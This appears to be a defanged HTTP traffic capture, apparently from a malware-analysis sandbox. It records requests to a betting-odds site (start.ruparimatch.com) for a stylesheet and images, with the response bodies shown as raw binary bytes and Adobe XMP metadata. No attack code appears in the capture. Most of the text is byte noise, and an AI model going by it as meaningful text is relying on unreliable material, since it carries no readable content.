1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" x
mpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:Docum
entID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:Derived
From stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef
:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>

GET /coefficients/css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: text/css

Content-Length: 2016

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:02:42 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Content-Encoding: gzip

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f3f5961589-FRA
...........YKo.F...W,T...."))[email protected]..._..
Qg...S.....@....|..........h...Km68?xN......{..<..FK..H_1.r..h.....
Q...{..^|...........m........Q..............5r.O.....`.=~.|...qz.Ys.E?
. ....U.b..K..][email protected]&.dq..4....*ZD..9.....k..r
C..)........k....%.&.......t.!n...sd.......Zu.....\K.BGC.`.V.Y..Z...sv
[email protected]..=U.Cp...0.....k.R.0 .........>..[.#|..."....[..Y.!......'
R...F..Ds..o..C. .%.....h.3DPjI........t.....E..E...y69...D8F.zI>..
Rk......I...(.......WD|T.t....uh....,\f.>o...\[email protected].
....$...f y.../.L.3.A.AU.J.J....p.E...K.a.F....;H..y....B...O53.M)....
...PJJ....]...........^....|lP..A..M&........s.Or ....#..d!.....6.....
.Y.T...._.4.i.d}... ..&.7h.p.q.0....g.d...I.t....q...s....E..Q.0...@w.
..M5..q..r.*c....S_.3.?........FtA].a..:P.....W.S.]n....8.e58.$q.\....
,.B....G..A.R'..:..mq......0..sZ7P...V.F..0b.F."qjc7...;.D.....vL.....
......Q.I..N....j.vv.(;_*...Q]'$5..4S......Q]=..3_.u.R.h..` ../2KEv:)#
..."......Y"S.bc.... ..".?..q.dV3.J....m.[d..b5..,.:..n.ED...\..^..P..
..................k.=..r6|.O.....(.,7.....,\.,hY...gO.j.:.G..o#..D..."
...yH.........G...1......."=....0}..G.gOG.'....>...N.&%...>6..Sn
I...j`..?T.'~..._.....*.^Uk.e..WC.TSw4..]g......V.../.../.%.K{13....k.
.2.L...5..5*..(....]K......l...=....}.....u.W....YZK7{....3..h;S.(...#
...Uz....z..l..|...T.4Q..k..R.......O.U.#..m..wT.....%/..j..|..n.>.
m........5Uq%e..=.......~..9k.....b..'...BB...J..@5.>.3...Cad.Z....
.RG.W..}.....{......?.vf..A...(V......%...Dk..M...u..[g..Q7.R5..II
<<< skipped >>>

GET /coefficients/img/bg.jpg HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/jpeg

Content-Length: 180985

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:58 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f4c5a71589-FRA
......Exif..II*.................Ducky.......F.....ohXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c01
4 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:543C090D24CEE4119
443E6E735AE4C2A" xmpMM:DocumentID="xmp.did:6BC452FA02B611E5A5D6B4557B4
669B8" xmpMM:InstanceID="xmp.iid:6BC452F902B611E5A5D6B4557B4669B8" xmp
:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:015707B012FBE411BAA1E540D47E31F8" stRef:doc
umentID="xmp.did:543C090D24CEE4119443E6E735AE4C2A"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
....................l.................................................
.....................................!..1A.Qa.q".2....BR#.b..3.r$.C...
.S.c4.%.....................!..1A..Qa".q2..B#......R.br3............?.
.qX>...L0..@..`R.<P.|.....&..S.D..$*.22.........0(...i.........T
.y.\"l.(.`..u.t.FU.HJ.(..#....4..rECs..q.......5J....G<.....I.jlX.F
[email protected] ZB$...r.\E...v..4.p........M..6.aP.$6X.6G......6P
<<< skipped >>>

GET /coefficients/img/colorful/img-13.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/png

Content-Length: 2766

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:02 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f6b5c71589-FRA
.PNG........IHDR...8.................tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C3A939EF587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:C3A939F0587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B6469E0587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:C3A939EE587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>[email protected]]-sSK-5.,].Yj.
...........Ph/P .%P*..B.A.. ..V...$.L-.....vm]u75u...........s..s....9
..6..7..c............~B..v.(...B...kT......]..!........'B...E.....F.t 
x0P..Ew.[.A~..}.~...K....5.O.2.P.v.`.m...dcg.&...u2..iCX..(....3.ff..{
:..:}.....Y....s..[..c.;..!.C.~..........:K.7...ks..v.M.............'.
.L^W|.........._..!..3..6.|.u.E.f..........~....I.*.9.y....IN...cccB..
..y...c4.AGy.....&.......Uw..-.......! .%......5..........-M......q...
T;d....o..E..zEdWdU|.......L.... .|=D.0......,Z.b........U!.87....9.I@
...<...z9GA.. ..Y..z.........?../..bW.L....s..R..d.$#.....cr3hq
<<< skipped >>>

GET /coefficients/img/colorful/img-10.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/png

Content-Length: 2694

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:02 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f725cd1589-FRA
.PNG........IHDR...2............?....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B6469D6587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:9B6469D7587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7CB56485587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:7CB56486587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.U......IDATx..Wkl.U...tvwv.....v..G.X.-.
....DP..K|..Hb.1.*.....11..hPC"..y...P..P...B.B.Z...,m...........8..;s
.....=.\.............n..W.t...r.... ....x.(......<.t...g...h]..F...
.."..A..?.....g...g..1.[<..~. .a..[-...' ..2D...8.......k.Dt^#.._..
"....p%orl..$..q...2*..z.i.LRdp_.".koYG.An.D....f....A...v.......D....
/g........W....;..h..1..a..Y....!....p.#w.Fp.j#[...1..]x.A5.F|......(|
..$<.MLE......A".D.0$.iz.M..E..."...S...X...M......s.,<.......|.
b..R.xqY.e:w.......8.q.qo.49e..u...Y.....,7..eX'%.v...i..cEt....k#...M
@.E......A.0..51..0...GD...&.{...}.o..AU%..se}.Y....u...t....c....
<<< skipped >>>

GET /coefficients/img/colorful/img-1.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 1990

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:01 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f785d51589-FRA
.PNG........IHDR...6..........x-.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C93B05A4587511E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:C93B05A5587511E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C93B05A2587511E4
B24B9B1D22040B34" stRef:documentID="xmp.did:C93B05A3587511E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.^Q....8IDATx..ViHUA...|.i)EY.I.ej...a...
.&E7.k..-H..ZI....~...."^.m..(m/Z..*3.(..|..f.<..t.......w....Yfl'v
....R.mc..... wIC........t.1.....H...y.w&sjo.........P...E.~.y.X7.|..K
..F.}F.....Y...|......n...<Gc[...2.....j2y.x)Y.0&..n5.V.....}.c....
TfMI.s.....9.H.^C..F....u..sW....r|...qU...m!~.Y..s.b....A..J.U.Q..ov.
(Ne.Y..(N#1../.....@Y.}].qg..i..[...i.b.y..... .c,6...$.F.......E5.s.o
../69...!F......v....9.......Z....F.H..H.........9Dw........N.bo3.>
..N0..{............K..F......6/....".C..T.....]..g..'..b..I.1i.R..D...
o.es..,".>`...p.9?p...6.h.-.cM@ ..c.B.{.....'I..<{..0O..G.=.
<<< skipped >>>

GET /coefficients/img/colorful/img-3.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2837

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:04 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f875dd1589-FRA
.PNG........IHDR...8.........Cy.E....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:406C110F587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:406C1110587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:406C110D587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:406C110E587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>>.......IDATx...kl.u..?.......[..0.e]q
L.(.....".E.[pd!.`....7b.}#1......#Q...o.@".9..pW........^..y...9..9..
>........~....a..&...h..F...ng.......r.0....H.....o.......a...O...W
.U.W....|....<.S..c'.}....W..m.........D...,X.I..........N^.......U
.0.......Tc.. H..B"...}...B`i. t....7M.{...N).<o..?O.4.....D?}...4&
.'.L_o.6-...`f.....kR..6.,........3...!.;In.]8....t.\....=*...s.Pa..y.
s.-....".......]R.5<k ...zF.P.>I........?..jP&.......s".P..p.1..
Wv3......_......~B.j...^.."..% ..qy..Xv....f.g(....!.......H...{....x.
..FK....."cT$I}..........BF.3.6.....M...89..Z87..k..Z..4.3|y#.s9=.
<<< skipped >>>

GET /coefficients/img/colorful/img-4.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2231

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:04 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f8d5e71589-FRA
.PNG........IHDR...5.........0.E[....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:406C1113587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:406C1114587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:406C1111587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:406C1112587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>"1?....)IDATx...m.VE.....]{.w..3i.i..me.E
AA.}......IZ."J.*.......?...-.i.A?R.>!.(...(..B.2.u....sg..;.^.....
.y....9g...zA......xmX.eh.....1....k..a........W...G.C.G....>.m....
pf.3L.b..... ....n`<.p'..B..9.4.b$....tAo.w.yw m..b........^S:.B.VC
-........./ .........p....O...W......_.Q.|I.`H......wD2 x..8...V.[....
]...[.&.d1..... .w..P.X...kzDl.....r)ru${....xj...;.N........^.KH.\..W
3^........a..S.HX.......2.......2..O.7.......?p..G.~nE..3l3^......~...
.;.^.gF....h.mC1.s.Of...z.s^..nn......!.d............#:..,m..!........
...@w1<TT.......{..#G...W`.:.h.q.....<..........,0.......m..
<<< skipped >>>

GET /coefficients/img/colorful/img-6.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3626

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:04 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f935ee1589-FRA
.PNG........IHDR...<............q....tEXtSoftware.Adobe ImageReadyq
.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xa
p/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="htt
p://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Ph
otoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:67B4BE52587711E4B24
B9B1D22040B34" xmpMM:DocumentID="xmp.did:67B4BE53587711E4B24B9B1D22040
B34"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67B4BE5058771
1E4B24B9B1D22040B34" stRef:documentID="xmp.did:67B4BE51587711E4B24B9B1
D22040B34"/> </rdf:Description> </rdf:RDF> </x:xmpme
ta> <?xpacket end="r"?>.,^E....IDATx.\....U...==.=...{g7.]..}
...r..(...*..*.B....,Jk...)o.....H..A$$...K..l....=fv....h..d..g..~.^.
....?.[.....@?..^.N.......je.........o..a.....*..n.'........a.].j:.&..
|.....?x/F.w.|{i.N..}1z:.m.......p.....w3..8.a.t1AOW..Y..i......F5..\.
.........?K...j.p...B....A..5P.^.....8..vCEe....PR.D.V&...W...<J...
^._....rx.4*...F.aS...9.a....].<f......0vj?!.:L.*....Y.....`..g..\.
.s7...2...;.,...cd...i..g.z..SD..Cq....2qZZ.".z...T...F..K.T....EN..".
.4,[..!....s......n.b.....l...z......Ib.>.:.$.wQU.X<Qjfu....G(UK
....4VR5...&5.>..V{..z....^......)V.lD.....(....3."...:!{..X...
<<< skipped >>>

GET /coefficients/img/colorful/img-17.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 1462

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:03 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f9b5f91589-FRA
.PNG........IHDR..............S......tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:E7259080587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:E7259081587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E725907E587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:E725907F587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>..'....(IDATx...MHUA...>...&.FD... (..
..E-n.....}Xn*.H........."....P.. ....}-B(#.!.(0K-.......l@^...{f.=...
g...ym*r..A8.........NA..f..O....k....f8.k..gc&._.#\.y..p.....y.V8-W?.
&.wB.[.G|.5.?....rU.q.$.....m.~...<<W.!.C..C.....0.4...I....t.o}
..[e.?rT,A<..#;.0.k9j.JQ6..J1...f...3*....d..w.{0.Wb1.a.U....&.... 
W.*......HVb..1o.....U %.C8..<[email protected]#...,..u.. KrV`..q.G.....J
....-.).'.r.]......U....5...]...M.9......9f...4..|.....u.o......>..
7...-1.`.V......}8.[t.^X.8..s._M...|.bO.P5..^A.&\.?....=.vz....v......
..../.....^^........Cu.,.7......9.s.\f............e........IEND.B`
<<< skipped >>>

GET /coefficients/img/colorful/img-15.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 1825

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:03 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fa16011589-FRA
.PNG........IHDR... ..........t......tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
